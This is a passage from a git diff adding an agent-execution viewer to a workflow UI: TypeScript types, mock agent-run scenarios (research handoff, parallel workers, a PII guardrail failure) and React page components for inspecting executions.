const fwResult = fwTask?.outputData?.result; + if (typeof fwResult === "string" && fwResult.length > 0) { + finalOutput = fwResult; + } + } + + // If no finalOutput found from root tasks, check last iteration's final STOP LLM + if (!finalOutput && turns.length > 0) { + for (const event of [...turns[turns.length - 1].events].reverse()) { + if (event.type === EventType.DONE && typeof event.detail === "string") { + finalOutput = event.detail; + break; + } + } + } + + // Last resort: check the Conductor workflow output field + if (!finalOutput && execution.output) { + const wfOut = execution.output as any; + const candidate = wfOut.result ?? wfOut.output ?? wfOut.message; + if (typeof candidate === "string" && candidate.length > 0) { + finalOutput = candidate; + } + } + + // Extract the initial user prompt from execution input + const execInput = execution.input as any; + const agentInput: string | undefined = + typeof execInput === "string" + ? execInput || undefined + : typeof execInput === "object" && execInput !== null + ? execInput.prompt || + execInput.conversation || + execInput.message || + undefined + : undefined; + + // Accumulate total tokens from all turns + const totalPromptTokens = turns.reduce( + (s, t) => s + t.tokens.promptTokens, + 0, + ); + const totalCompletionTokens = turns.reduce( + (s, t) => s + t.tokens.completionTokens, + 0, + ); + + const finishReason = + execution.status === WorkflowExecutionStatus.COMPLETED + ? FinishReason.STOP + : execution.status === WorkflowExecutionStatus.FAILED || + execution.status === WorkflowExecutionStatus.TIMED_OUT || + execution.status === WorkflowExecutionStatus.TERMINATED + ? FinishReason.ERROR + : undefined; + + const agentDef = execution.workflowDefinition?.metadata?.agentDef as + | Record + | undefined; + + // Extract model from agentDef metadata or from first LLM task + const agentModel = + (agentDef?.model as string | undefined) ?? + (tasks.find((t) => t.taskType === "LLM_CHAT_COMPLETE")?.inputData?.model as + | string + | undefined); + + return { + id: execution.workflowId, + agentName: execution.workflowName ?? execution.workflowType ?? "agent", + model: agentModel, + turns, + status: mapWorkflowStatus(execution.status), + agentDef, + totalTokens: { + promptTokens: totalPromptTokens, + completionTokens: totalCompletionTokens, + totalTokens: totalPromptTokens + totalCompletionTokens, + }, + totalDurationMs, + finishReason, + strategy: + rootSubWorkflows.length > 1 + ? AgentStrategy.PARALLEL + : sortedIters.length > 0 + ? AgentStrategy.HANDOFF + : AgentStrategy.SINGLE, + input: agentInput, + output: finalOutput, + }; +} diff --git a/ui-next/src/pages/execution/AgentExecution/index.ts b/ui-next/src/pages/execution/AgentExecution/index.ts new file mode 100644 index 0000000..383f3ab --- /dev/null +++ b/ui-next/src/pages/execution/AgentExecution/index.ts @@ -0,0 +1,2 @@ +export { default as AgentExecutionTab } from "./AgentExecutionTab"; +export { AgentDefinitionView } from "./AgentDefinitionView"; diff --git a/ui-next/src/pages/execution/AgentExecution/mockData.ts b/ui-next/src/pages/execution/AgentExecution/mockData.ts new file mode 100644 index 0000000..b602cb8 --- /dev/null +++ b/ui-next/src/pages/execution/AgentExecution/mockData.ts @@ -0,0 +1,467 @@ +import { + AgentEvent, + AgentRunData, + AgentStatus, + AgentStrategy, + EventType, + FinishReason, + TokenUsage, +} from "./types"; + +const mkTokens = (prompt: number, completion: number): TokenUsage => ({ + promptTokens: prompt, + completionTokens: completion, + totalTokens: prompt + completion, +}); + +const mkEvent = ( + id: string, + type: EventType, + summary: string, + opts: Partial = {}, +): AgentEvent => ({ + id, + type, + timestamp: Date.now(), + summary, + success: true, + ...opts, +}); + +// --- Single agent, simple --- +const singleAgentRun: AgentRunData = { + id: "run-001", + agentName: "research_agent", + model: "claude-sonnet-4-5", + status: AgentStatus.COMPLETED, + finishReason: FinishReason.STOP, + strategy: AgentStrategy.SINGLE, + totalTokens: mkTokens(1540, 320), + totalDurationMs: 3200, + turns: [ + { + turnNumber: 1, + status: AgentStatus.COMPLETED, + durationMs: 800, + tokens: mkTokens(520, 110), + subAgents: [], + events: [ + mkEvent( + "e1", + EventType.THINKING, + "Let me analyze the user's request and plan my approach...", + { + detail: + "The user wants me to research agentspan documentation. I should use the search tool to find relevant content.", + durationMs: 200, + }, + ), + mkEvent("e2", EventType.TOOL_CALL, 'search_web("agentspan docs")', { + toolName: "search_web", + toolArgs: { query: "agentspan docs" }, + detail: { query: "agentspan docs", max_results: 5 }, + }), + mkEvent("e3", EventType.TOOL_RESULT, "5 results found", { + detail: [ + { + title: "AgentSpan Documentation", + url: "https://docs.agentspan.dev", + }, + { + title: "Getting Started", + url: "https://docs.agentspan.dev/getting-started", + }, + ], + success: true, + tokens: mkTokens(0, 0), + }), + mkEvent("e4", EventType.GUARDRAIL_PASS, "content_filter ✓", { + detail: { guardrail: "content_filter", passed: true }, + }), + ], + }, + { + turnNumber: 2, + status: AgentStatus.COMPLETED, + durationMs: 1200, + tokens: mkTokens(680, 150), + subAgents: [], + events: [ + mkEvent( + "e5", + EventType.THINKING, + "I found the documentation. Let me synthesize the key points...", + { + detail: + "Based on the search results, I can see that AgentSpan is a platform for building and monitoring multi-agent systems. The key features include workflow visualization, agent execution tracking, and real-time monitoring.", + durationMs: 300, + }, + ), + mkEvent( + "e6", + EventType.MESSAGE, + "Based on my research, here's what I found about AgentSpan: it's a comprehensive platform for building multi-agent AI systems with built-in observability...", + { + detail: + "Based on my research, here's what I found about AgentSpan: it's a comprehensive platform for building multi-agent AI systems with built-in observability, workflow management, and execution tracking capabilities.", + tokens: mkTokens(680, 150), + }, + ), + mkEvent("e7", EventType.DONE, "Research complete", { + detail: { + output: + "Research completed successfully with 2 turns and 5 sources.", + }, + success: true, + }), + ], + }, + ], +}; + +// --- Multi-agent handoff --- +const writerAgent: AgentRunData = { + id: "run-003", + agentName: "writer_agent", + model: "claude-sonnet-4-5", + status: AgentStatus.COMPLETED, + finishReason: FinishReason.STOP, + strategy: AgentStrategy.SINGLE, + totalTokens: mkTokens(890, 200), + totalDurationMs: 2100, + turns: [ + { + turnNumber: 1, + status: AgentStatus.COMPLETED, + durationMs: 600, + tokens: mkTokens(300, 80), + subAgents: [], + events: [ + mkEvent( + "ew1", + EventType.THINKING, + "I've received the research findings. Let me structure this into a report...", + { + detail: + "The research agent has passed me comprehensive findings. I need to organize this into a well-structured report with sections for overview, features, and use cases.", + }, + ), + mkEvent("ew2", EventType.TOOL_CALL, 'write_file("report.md", ...)', { + toolName: "write_file", + toolArgs: { path: "report.md", content: "# AgentSpan Report\n..." }, + detail: { + path: "report.md", + content: "# AgentSpan Report\n\n## Overview\n...", + }, + }), + mkEvent("ew3", EventType.TOOL_RESULT, "File written successfully", { + detail: { path: "report.md", bytesWritten: 2048 }, + success: true, + }), + ], + }, + { + turnNumber: 2, + status: AgentStatus.COMPLETED, + durationMs: 900, + tokens: mkTokens(400, 90), + subAgents: [], + events: [ + mkEvent( + "ew4", + EventType.THINKING, + "The file is written. Let me verify the content looks good...", + { detail: "I should review the written content to ensure quality." }, + ), + mkEvent( + "ew5", + EventType.MESSAGE, + "Report has been written and saved to report.md. The document covers...", + { + detail: + "Report has been written and saved to report.md. The document covers the overview, key features, installation guide, and use cases of AgentSpan.", + tokens: mkTokens(400, 90), + }, + ), + mkEvent("ew6", EventType.DONE, "Writing complete", { + detail: { output: "report.md", status: "success" }, + success: true, + }), + ], + }, + ], +}; + +const handoffAgentRun: AgentRunData = { + id: "run-002", + agentName: "research_agent", + model: "claude-sonnet-4-5", + status: AgentStatus.COMPLETED, + finishReason: FinishReason.HANDOFF, + strategy: AgentStrategy.HANDOFF, + totalTokens: mkTokens(1540, 320), + totalDurationMs: 5300, + turns: [ + { + turnNumber: 1, + status: AgentStatus.COMPLETED, + durationMs: 800, + tokens: mkTokens(520, 110), + subAgents: [], + events: [ + mkEvent( + "h1", + EventType.THINKING, + "I need to analyze the results and then hand off to writer_agent...", + { + detail: + "After completing my research, I'll pass the findings to the writer agent for report generation.", + durationMs: 200, + }, + ), + mkEvent("h2", EventType.TOOL_CALL, 'search_web("agentspan docs")', { + toolName: "search_web", + toolArgs: { query: "agentspan docs" }, + }), + mkEvent("h3", EventType.TOOL_RESULT, "5 results found", { + detail: [{ title: "AgentSpan Documentation" }], + success: true, + }), + mkEvent("h4", EventType.GUARDRAIL_PASS, "content_filter ✓", { + detail: { guardrail: "content_filter", passed: true }, + }), + ], + }, + { + turnNumber: 2, + status: AgentStatus.COMPLETED, + durationMs: 600, + tokens: mkTokens(380, 100), + subAgents: [writerAgent], + strategy: AgentStrategy.HANDOFF, + events: [ + mkEvent( + "h5", + EventType.THINKING, + "I have all the information I need. Time to hand off to writer_agent...", + { + detail: + "Research is complete. Handing off to writer_agent with the compiled findings.", + }, + ), + mkEvent("h6", EventType.HANDOFF, "→ writer_agent", { + targetAgent: "writer_agent", + detail: { + target: "writer_agent", + context: { + research_findings: "AgentSpan is a comprehensive platform...", + }, + }, + }), + ], + }, + ], +}; + +// --- Parallel strategy with many sub-agents --- +const makeParallelAgent = (index: number, failed = false): AgentRunData => ({ + id: `parallel-agent-${index}`, + agentName: `worker_agent_${String(index).padStart(3, "0")}`, + model: "claude-haiku-4-5-20251001", + status: failed ? AgentStatus.FAILED : AgentStatus.COMPLETED, + finishReason: failed ? FinishReason.ERROR : FinishReason.STOP, + strategy: AgentStrategy.SINGLE, + totalTokens: mkTokens(200 + index * 10, 50 + index * 5), + totalDurationMs: 200 + index * 30, + turns: [ + { + turnNumber: 1, + status: failed ? AgentStatus.FAILED : AgentStatus.COMPLETED, + durationMs: 200 + index * 30, + tokens: mkTokens(200 + index * 10, 50 + index * 5), + subAgents: [], + events: [ + mkEvent( + `p${index}-e1`, + EventType.THINKING, + `Processing chunk ${index}...`, + ), + ...(failed + ? [ + mkEvent( + `p${index}-e2`, + EventType.ERROR, + `Failed to process chunk: timeout after 500ms`, + { success: false, errorMessage: "Timeout after 500ms" }, + ), + ] + : [ + mkEvent( + `p${index}-e2`, + EventType.DONE, + `Chunk ${index} processed successfully`, + { success: true }, + ), + ]), + ], + }, + ], +}); + +const parallelSubAgents = Array.from({ length: 25 }, (_, i) => + makeParallelAgent(i + 1, i === 2 || i === 7 || i === 15), +); + +const parallelAgentRun: AgentRunData = { + id: "run-parallel", + agentName: "orchestrator_agent", + model: "claude-sonnet-4-5", + status: AgentStatus.COMPLETED, + finishReason: FinishReason.STOP, + strategy: AgentStrategy.PARALLEL, + totalTokens: mkTokens(3500, 800), + totalDurationMs: 8500, + turns: [ + { + turnNumber: 1, + status: AgentStatus.COMPLETED, + durationMs: 400, + tokens: mkTokens(800, 200), + subAgents: [], + events: [ + mkEvent( + "orch1", + EventType.THINKING, + "I need to distribute this work across 25 parallel workers...", + ), + mkEvent("orch2", EventType.TOOL_CALL, "split_workload(chunks=25)", { + toolName: "split_workload", + toolArgs: { chunks: 25, data: "large_dataset.json" }, + }), + mkEvent( + "orch3", + EventType.TOOL_RESULT, + "Workload split into 25 chunks", + { + detail: { chunks: 25, totalItems: 2500 }, + success: true, + }, + ), + ], + }, + { + turnNumber: 2, + status: AgentStatus.COMPLETED, + durationMs: 6500, + tokens: mkTokens(1800, 400), + subAgents: parallelSubAgents, + strategy: AgentStrategy.PARALLEL, + events: [ + mkEvent( + "orch4", + EventType.THINKING, + "Dispatching 25 parallel workers...", + ), + mkEvent( + "orch5", + EventType.MESSAGE, + "All workers have completed. 22 succeeded, 3 failed.", + { + detail: + "Dispatched 25 parallel worker agents. 22 completed successfully, 3 encountered errors.", + }, + ), + mkEvent("orch6", EventType.DONE, "Parallel processing complete", { + detail: { total: 25, succeeded: 22, failed: 3 }, + success: true, + }), + ], + }, + ], +}; + +// --- Guardrail failure scenario --- +const guardrailFailureRun: AgentRunData = { + id: "run-guardrail", + agentName: "content_agent", + model: "claude-sonnet-4-5", + status: AgentStatus.FAILED, + finishReason: FinishReason.ERROR, + strategy: AgentStrategy.SINGLE, + totalTokens: mkTokens(450, 120), + totalDurationMs: 1800, + turns: [ + { + turnNumber: 1, + status: AgentStatus.FAILED, + durationMs: 1800, + tokens: mkTokens(450, 120), + subAgents: [], + events: [ + mkEvent( + "g1", + EventType.THINKING, + "Processing the user's content request...", + ), + mkEvent( + "g2", + EventType.TOOL_CALL, + 'generate_content("marketing copy")', + { + toolName: "generate_content", + toolArgs: { type: "marketing", topic: "product launch" }, + }, + ), + mkEvent("g3", EventType.TOOL_RESULT, "Content generated", { + detail: "Generated 500 words of marketing copy...", + success: true, + }), + mkEvent("g4", EventType.GUARDRAIL_PASS, "content_filter ✓", { + detail: { guardrail: "content_filter", passed: true }, + }), + mkEvent( + "g5", + EventType.GUARDRAIL_FAIL, + "pii_detector ✗ - Phone number detected in output", + { + success: false, + detail: { + guardrail: "pii_detector", + passed: false, + reason: "Phone number detected in generated content", + matched: "+1-555-0123", + context: "Call us at +1-555-0123 for more information", + }, + }, + ), + mkEvent( + "g6", + EventType.ERROR, + "Guardrail violation: pii_detector blocked the response", + { + success: false, + errorMessage: + "Guardrail violation: pii_detector blocked the response", + detail: { + type: "guardrail_violation", + guardrail: "pii_detector", + message: "Output contained personally identifiable information", + }, + }, + ), + ], + }, + ], +}; + +// Export all mock scenarios +export const MOCK_SCENARIOS = { + singleAgent: singleAgentRun, + handoff: handoffAgentRun, + parallel: parallelAgentRun, + guardrailFailure: guardrailFailureRun, +} as const; + +export type MockScenarioKey = keyof typeof MOCK_SCENARIOS; + +export const DEFAULT_MOCK_SCENARIO: MockScenarioKey = "handoff"; diff --git a/ui-next/src/pages/execution/AgentExecution/types.ts b/ui-next/src/pages/execution/AgentExecution/types.ts new file mode 100644 index 0000000..2428627 --- /dev/null +++ b/ui-next/src/pages/execution/AgentExecution/types.ts @@ -0,0 +1,151 @@ +export enum EventType { + THINKING = "THINKING", + TOOL_CALL = "TOOL_CALL", + TOOL_RESULT = "TOOL_RESULT", + GUARDRAIL_PASS = "GUARDRAIL_PASS", + GUARDRAIL_FAIL = "GUARDRAIL_FAIL", + HANDOFF = "HANDOFF", + WAITING = "WAITING", + MESSAGE = "MESSAGE", + ERROR = "ERROR", + DONE = "DONE", + CONTEXT_CONDENSED = "CONTEXT_CONDENSED", +} + +export enum AgentStatus { + COMPLETED = "COMPLETED", + FAILED = "FAILED", + RUNNING = "RUNNING", + WAITING = "WAITING", +} + +export enum FinishReason { + STOP = "stop", + HANDOFF = "handoff", + ERROR = "error", + MAX_TURNS = "max_turns", + WAITING = "waiting", +} + +export enum AgentStrategy { + SINGLE = "single", + HANDOFF = "handoff", + SEQUENTIAL = "sequential", + PARALLEL = "parallel", + ROUTER = "router", +} + +export interface TokenUsage { + promptTokens: number; + completionTokens: number; + totalTokens: number; +} + +export interface TaskAttempt { + taskId: string; + retryCount: number; + status: string; + startTime?: number; + endTime?: number; + durationMs: number; + workerId?: string; + reasonForIncompletion?: string; + inputData?: Record; + outputData?: Record; +} + +export interface AgentEvent { + id: string; + type: EventType; + timestamp: number; + /** Display summary text */ + summary: string; + /** Full detail - JSON object or text */ + detail?: unknown; + /** For TOOL_CALL: tool name; for LLM: model name */ + toolName?: string; + /** For LLM: custom base URL override (for debugging) */ + baseUrl?: string; + /** For TOOL_CALL: tool arguments */ + toolArgs?: Record; + /** For HANDOFF: target agent name */ + targetAgent?: string; + /** For ERROR: error message */ + errorMessage?: string; + /** Duration of this event in ms */ + durationMs?: number; + /** Whether the event represents a success (for TOOL_RESULT, GUARDRAIL) */ + success?: boolean; + tokens?: TokenUsage; + /** Combined tool result — when set, EventRow renders Input + Output sections */ + result?: unknown; + /** For CONTEXT_CONDENSED: condensation stats */ + condensationInfo?: { + trigger: string; + messagesBefore: number; + messagesAfter: number; + exchangesCondensed: number; + }; + /** Conductor task execution metadata (start/end/schedule times, worker, etc.) */ + taskMeta?: { + taskId?: string; + taskType?: string; + referenceTaskName?: string; + scheduledTime?: number; + startTime?: number; + endTime?: number; + workerId?: string; + reasonForIncompletion?: string; + retryCount?: number; + /** Total execution attempts (original + retries). Present when > 1. */ + totalAttempts?: number; + /** All task attempts (original + retries) — present when totalAttempts > 1 */ + allAttempts?: TaskAttempt[]; + pollCount?: number; + seq?: string; + queueWaitTime?: number; + }; +} + +export interface AgentTurn { + turnNumber: number; + events: AgentEvent[]; + status: AgentStatus; + durationMs: number; + tokens: TokenUsage; + /** Sub-agent runs spawned from this turn (handoff, parallel, etc.) */ + subAgents: AgentRunData[]; + /** How sub-agents were spawned */ + strategy?: AgentStrategy; +} + +export interface AgentRunData { + id: string; + agentName: string; + model?: string; + turns: AgentTurn[]; + status: AgentStatus; + totalTokens: TokenUsage; + totalDurationMs: number; + finishReason?: FinishReason; + strategy?: AgentStrategy; + /** Conductor sub-workflow ID — present when this run can be fetched for full details */ + subWorkflowId?: string; + /** Initial input/prompt given to this agent */ + input?: string; + /** Final output text from this agent */ + output?: string; + /** Failure reason if status is FAILED */ + failureReason?: string; + /** Agent definition from workflow.definition.metadata.agentDef */ + agentDef?: Record; +} + +export interface ExecutionMetrics { + totalAgents: number; + totalTurns: number; + totalTokens: TokenUsage; + totalDurationMs: number; + failedAgents: number; + waitingAgents: number; +} diff --git a/ui-next/src/pages/execution/Execution.tsx b/ui-next/src/pages/execution/Execution.tsx new file mode 100644 index 0000000..7bbfc0f --- /dev/null +++ b/ui-next/src/pages/execution/Execution.tsx @@ -0,0 +1,846 @@ +import LaunchIcon from "@mui/icons-material/Launch"; +import { Box, Stack, Tooltip } from "@mui/material"; +import { AutoRefreshButton, Button, Heading, LinearProgress } from "components"; +import StatusBadge from "components/StatusBadge"; +import Agent from "components/features/agent/Agent"; +import { AgentDisplayMode } from "components/features/agent/agent-types"; +import { + agentDisplayModeAtom, + agentFirstUseAtom, + executionAssistantBridge, +} from "components/features/agent/agentAtomsStore"; +import { Flow } from "components/features/flow/Flow"; +import OpenIcon from "components/icons/OpenIcon"; +import ButtonLinks from "components/layout/header/ButtonLinks"; +import { ConductorSectionHeader } from "components/layout/section/ConductorSectionHeader"; +import { SidebarContext } from "components/providers/sidebar/context/SidebarContext"; +import MuiAlert from "components/ui/MuiAlert"; +import MuiTypography from "components/ui/MuiTypography"; +import NavLink from "components/ui/NavLink"; +import { SnackbarMessage } from "components/ui/SnackbarMessage"; +import TwoPanesDivider from "components/ui/TwoPanesDivider"; +import { CopyClipboardButton } from "components/ui/inputs/CopyClipboardButton"; +import { useAtom } from "jotai"; +import { WorkflowIntrospection } from "pages/execution/WorkflowIntrospection"; +import React, { useCallback, useContext, useEffect, useMemo } from "react"; +import { Helmet } from "react-helmet"; +import { useLocation, useNavigate } from "react-router"; +import { colors } from "theme/tokens/variables"; +import { + ExecutionTask, + WorkflowExecution, + WorkflowExecutionStatus, +} from "types/Execution"; +import { TaskStatus } from "types/TaskStatus"; +import { + AGENT_EXECUTIONS_URL, + WORKFLOW_EXECUTION_URL, +} from "utils/constants/route"; +import { openInNewTab } from "utils/helpers"; +import { usePushHistory } from "utils/hooks/usePushHistory"; +import { ActorRef } from "xstate"; +import ActionModule from "./ActionModule"; +import { AgentDefinitionView, AgentExecutionTab } from "./AgentExecution"; +import InputOutput from "./ExecutionInputOutput"; +import ExecutionJson from "./ExecutionJson"; +import ExecutionSummary from "./ExecutionSummary"; +import { isAgentWorkflowExecution } from "./helpers"; +import LeftPanelTabs from "./LeftPanelTabs"; +import { RightPanel } from "./RightPanel"; +import { TaskList } from "./TaskList/TaskList"; +import Timeline from "./Timeline"; +import { FlowExecutionContextProvider } from "./state"; +import { useExecutionMachine } from "./state/hook"; +import { CountdownEvents, ExecutionTabs } from "./state/types"; + +interface SecondaryActionsProps { + execution: WorkflowExecution; + countdownActor: ActorRef | undefined; + onRestartExecutionWithLatestDefinitions: () => void; + onRestartExecutionWithCurrentDefinitions: () => void; + onRetryExecutionFromFailed: () => void; + onResumeExecution: () => void; + onTerminateExecution: () => void; + onPauseExecution: () => void; + onRetryResumeSubworkflow: () => void; + rerunExecutionWithLatestDefinitions: () => void; + createSheduleWithLatestDefinitions: () => void; + refetch: () => void; +} + +const SecondaryActions = ({ + execution, + countdownActor, + onRestartExecutionWithLatestDefinitions, + onRestartExecutionWithCurrentDefinitions, + onRetryExecutionFromFailed, + onResumeExecution, + onTerminateExecution, + onPauseExecution, + onRetryResumeSubworkflow, + rerunExecutionWithLatestDefinitions, + createSheduleWithLatestDefinitions, + refetch, +}: SecondaryActionsProps) => { + const isDynamic = ( + execution?.input?._systemMetadata as Record + )?.dynamic; + return ( + execution && ( + + {execution.parentWorkflowId && ( + + )} + + + {isDynamic ? null : ( + + + + )} + + + + + ) + ); +}; + +interface FailureAlertProps { + failedWFLink: string; + alertText: string; +} + +const FailureAlert = ({ failedWFLink, alertText }: FailureAlertProps) => { + const navigate = usePushHistory(); + + const alertStyle = { + padding: "0 10px", + fontSize: "12px", + height: "28px", + width: "fit-content", + fontWeight: "500", + cursor: "pointer", + marginRight: "10px", + ".MuiAlert-message, .css-1ytlwq5-MuiAlert-icon": { + padding: "4px 0px", + }, + ".css-1ytlwq5-MuiAlert-icon": { marginRight: "8px" }, + "&:hover": { + border: "1px solid #badfff", + }, + alignItems: "center", + }; + + return ( + navigate(`/execution/${failedWFLink}`)} + > + {alertText} + + ); +}; + +interface ReasonForIncompletionProps { + reason: string; + navigate: (path: string) => void; + location: { pathname: string }; +} + +const ReasonForIncompletion = ({ + reason, + navigate, + location, +}: ReasonForIncompletionProps) => { + if (!reason) return null; + + if (reason.length >= 300) { + return ( + + {reason.substr(0, 60)}... [ + { + navigate(`${location.pathname}?tab=summary`); + }} + > + View full message + + ] + + ); + } + + return <>{reason}; +}; + +interface ExecutionAlertProps { + execution: WorkflowExecution; + openedTab: ExecutionTabs; + failedTaskWithReason: ExecutionTask | undefined; + handleJumpToTask: () => void; +} + +const ExecutionAlert = ({ + execution, + openedTab, + failedTaskWithReason, + handleJumpToTask, +}: ExecutionAlertProps) => { + const navigate = usePushHistory(); + const location = useLocation(); + + if ( + execution?.rateLimited || + (execution?.reasonForIncompletion && + execution?.status !== WorkflowExecutionStatus.COMPLETED) + ) { + return ( + + + {execution?.rateLimited ? ( + "This execution is rate limited and will be executed once previous executions are completed." + ) : ( + + )} + + + {openedTab === ExecutionTabs.DIAGRAM_TAB && failedTaskWithReason && ( + + Jump to task + + )} + + ); + } + return null; +}; + +export default function Execution() { + const [ + { + selectTask, + expandDynamic, + collapseDynamic, + clearError, + rerunExecutionWithLatestDefinitions, + createSheduleWithLatestDefinitions, + restartExecutionWithLatestDefinitions, + restartExecutionWithCurrentDefinitions, + retryExcutionFromFailed, + retryResumeSubworkflow, + resumeExecution, + terminateExecution, + pauseExecution, + changeExecutionTab, + closeRightPanel, + refetch, + handleUpdateVariables, + selectNode, + }, + { + flowActor, + execution, + executionId, + isReady, + selectedTask, + executionStatusMap, + countdownActor, + maybeError, + maybeMessage, + openedTab, + taskListActor, + rightPanelActor, + isNoAccess, + doWhileSelection, + nodes, + }, + ] = useExecutionMachine(); + const location = useLocation(); + const navigate = useNavigate(); + + // Agent executions can be reached via a bookmarked/shared "/execution/:id" + // link (or any other pre-existing entry point) rather than the Agents + // section. Once we know the execution is agent-classified, swap the URL to + // "/agentExecutions/:id" so the sidebar highlights "Executions" under + // Agents instead of the plain Workflow item — without adding a back-button + // stop. Only ever runs on the plain "/execution" route; already being on + // "/agentExecutions/:id" is a no-op here. + useEffect(() => { + if ( + isAgentWorkflowExecution(execution) && + location.pathname.startsWith(`${WORKFLOW_EXECUTION_URL.BASE}/`) + ) { + navigate( + location.pathname.replace( + WORKFLOW_EXECUTION_URL.BASE, + AGENT_EXECUTIONS_URL.BASE, + ) + location.search, + { replace: true }, + ); + } + }, [execution, location.pathname, location.search, navigate]); + + executionAssistantBridge.closeRightPanel = closeRightPanel; + executionAssistantBridge.isTaskPanelOpen = !!rightPanelActor; + + const clearExecutionAssistantBridgeOnUnmountRef = useCallback( + (el: HTMLElement | null) => { + if (el == null) { + executionAssistantBridge.closeRightPanel = null; + executionAssistantBridge.isTaskPanelOpen = false; + } + }, + [], + ); + + const { open: isSideBarOpen } = useContext(SidebarContext); + + const [, setAgentFirstUse] = useAtom(agentFirstUseAtom); + const [agentDisplayMode, setAgentDisplayMode] = useAtom(agentDisplayModeAtom); + + // Task details and the assistant share the right pane. Prefer task details + // whenever a task is selected (no useEffect — visibility is derived). + const assistantVisiblyOpen = + agentDisplayMode === AgentDisplayMode.FLOATING_EXPANDED && + rightPanelActor === undefined; + + const isFailure = ( + workflow: WorkflowExecution | undefined, + ): string | undefined => { + const workflowInput = workflow?.input; + if ( + workflowInput?.reason && + workflowInput?.failureTaskId && + workflowInput?.workflowId && + workflowInput?.failureStatus + ) { + return workflowInput.workflowId as string; + } + }; + + const isExecutionView = location.pathname.startsWith("/execution/"); + + const failureWorkflowId = isFailure(execution); + + const leftPanelContent = ( + <> + {execution && ( + + <> + {openedTab === ExecutionTabs.AGENT_EXECUTION_TAB && execution && ( + + )} + {openedTab === ExecutionTabs.DIAGRAM_TAB && + execution && + flowActor && ( + + + + )} + {openedTab === ExecutionTabs.TASK_LIST_TAB && taskListActor && ( + + )} + {openedTab === ExecutionTabs.TIMELINE_TAB && ( + + )} + {openedTab === ExecutionTabs.WORKFLOW_INTROSPECTION && ( + + )} + {openedTab === ExecutionTabs.SUMMARY_TAB && + (isAgentWorkflowExecution(execution) ? ( + // Relabeled "Agent Definition" in LeftPanelTabs for agent + // executions — a graph of the agent's static structure + // (model/sub-agents/tools/guardrails), matching AgentSpan's + // own UI, instead of the plain Conductor execution summary. + + ) : ( + + ))} + {openedTab === ExecutionTabs.WORKFLOW_INPUT_OUTPUT_TAB && ( + } + data={[ + { + title: "Input", + src: execution.input as Record, + hidden: false, + style: { + minWidth: 400, + }, + }, + { + title: "Output", + src: execution.output, + hidden: false, + style: { + minWidth: 400, + }, + }, + ]} + /> + )} + {openedTab === ExecutionTabs.JSON_TAB && ( + + )} + {openedTab === ExecutionTabs.VARIABLES_TAB && ( + } + data={[ + { + title: "Variables", + src: execution.variables ?? {}, + hidden: false, + style: { + minWidth: 340, + }, + }, + ]} + /> + )} + {openedTab === ExecutionTabs.TASKS_TO_DOMAIN_TAB && ( + } + data={[ + { + title: "Task to Domain", + src: execution.taskToDomain ?? {}, + hidden: !execution.taskToDomain, + style: { + minWidth: 340, + }, + }, + ]} + /> + )} + + + )} + + ); + + const rightPanelContent = ( + <> + {assistantVisiblyOpen ? ( + + theme.palette?.mode === "dark" ? colors.gray14 : undefined, + backgroundColor: (theme) => + theme.palette?.mode === "dark" ? colors.gray01 : undefined, + }} + > + + + ) : ( + rightPanelActor && ( + + theme.palette?.mode === "dark" ? colors.gray14 : undefined, + backgroundColor: (theme) => + theme.palette?.mode === "dark" ? colors.gray01 : undefined, + }} + > + + + ) + )} + + ); + + const workflowTitle = useMemo( + () => execution?.workflowType || execution?.workflowName || null, + [execution?.workflowType, execution?.workflowName], + ); + + const failedTaskWithReason = useMemo( + () => + execution?.tasks?.find( + (task) => + task?.status === TaskStatus.FAILED && task?.reasonForIncompletion, + ), + [execution?.tasks], + ); + + const handleJumpToTask = () => { + const maybeSelectedNode = nodes?.find( + (node) => node?.id === failedTaskWithReason?.referenceTaskName, + ); + if (maybeSelectedNode) { + selectNode(maybeSelectedNode); + } + }; + + return ( + + + + Execution - {workflowTitle === null ? "" : workflowTitle} -{" "} + {executionId} + + + + + + {!isReady && !isNoAccess && } + + {execution && ( + + + + + + {workflowTitle} + + + + + + + } + breadcrumbItems={[ + { label: "Workflow Executions", to: "/executions" }, + { + label: execution.workflowId || "", + to: "", + icon: , + }, + ]} + buttonsComponent={ + + {failureWorkflowId && ( + + )} + + {!!execution?.output?.["conductor.failure_workflow"] && ( + + )} + + + + + + } + /> + + + + { + setAgentFirstUse(true); + if (assistantVisiblyOpen) { + setAgentDisplayMode(AgentDisplayMode.CLOSED); + } else { + if (rightPanelActor) { + closeRightPanel(); + } + setAgentDisplayMode(AgentDisplayMode.FLOATING_EXPANDED); + } + }} + /> + + + )} + + + + + + + + + ); +} diff --git a/ui-next/src/pages/execution/ExecutionInputOutput.tsx b/ui-next/src/pages/execution/ExecutionInputOutput.tsx new file mode 100644 index 0000000..a10533f --- /dev/null +++ b/ui-next/src/pages/execution/ExecutionInputOutput.tsx @@ -0,0 +1,128 @@ +import GridViewOutlinedIcon from "@mui/icons-material/GridViewOutlined"; +import ListOutlinedIcon from "@mui/icons-material/ListOutlined"; +import Box from "@mui/material/Box"; +import Grid from "@mui/material/Grid"; +import Stack from "@mui/material/Stack"; +import { CSSProperties, useState } from "react"; + +import { ReactJson } from "components"; +import MuiIconButton from "components/ui/buttons/MuiIconButton"; +import { colors } from "theme/tokens/variables"; + +type DataType = { + title: string; + src: Record; + hidden: boolean; + style: CSSProperties; +}; + +interface InputOutputProp { + data: DataType[]; + execution: Record; + isEditable?: boolean; + handleUpdate?: (value: string) => void; +} + +export default function InputOutput({ + data, + execution, + isEditable = false, + handleUpdate, +}: InputOutputProp) { + const [isDisplayList, setIsDisplayList] = useState(false); + const [fullScreen, setFullScreen] = useState([]); + + const handleFullScreen = (item: DataType) => { + if (fullScreen.length > 0) { + setFullScreen([]); + return; + } + setFullScreen([item]); + }; + + const customEditorOptions = { + minimap: { enabled: false }, + lightbulb: { enabled: false }, + renderLineHighlight: "none", + overviewRulerLanes: 0, + hideCursorInOverviewRuler: true, + scrollbar: { + // this property is added because it was not allowing us to scroll when mouse pointer is over this component + alwaysConsumeMouseWheel: false, + verticalSliderSize: 9, + horizontalSliderSize: 9, + useShadows: true, + }, + }; + + const renderItems = (items: DataType[]) => { + return items.map((item, index) => + item.hidden ? null : ( + + + + + + ), + ); + }; + + const isManyItems = data.length > 1; + + return ( + <> + {isManyItems && ( + + + setIsDisplayList(true)}> + + + setIsDisplayList(false)}> + + + + + )} + + + {renderItems(fullScreen.length > 0 ? fullScreen : data)} + + + ); +} diff --git a/ui-next/src/pages/execution/ExecutionJson.tsx b/ui-next/src/pages/execution/ExecutionJson.tsx new file mode 100644 index 0000000..ef0dbba --- /dev/null +++ 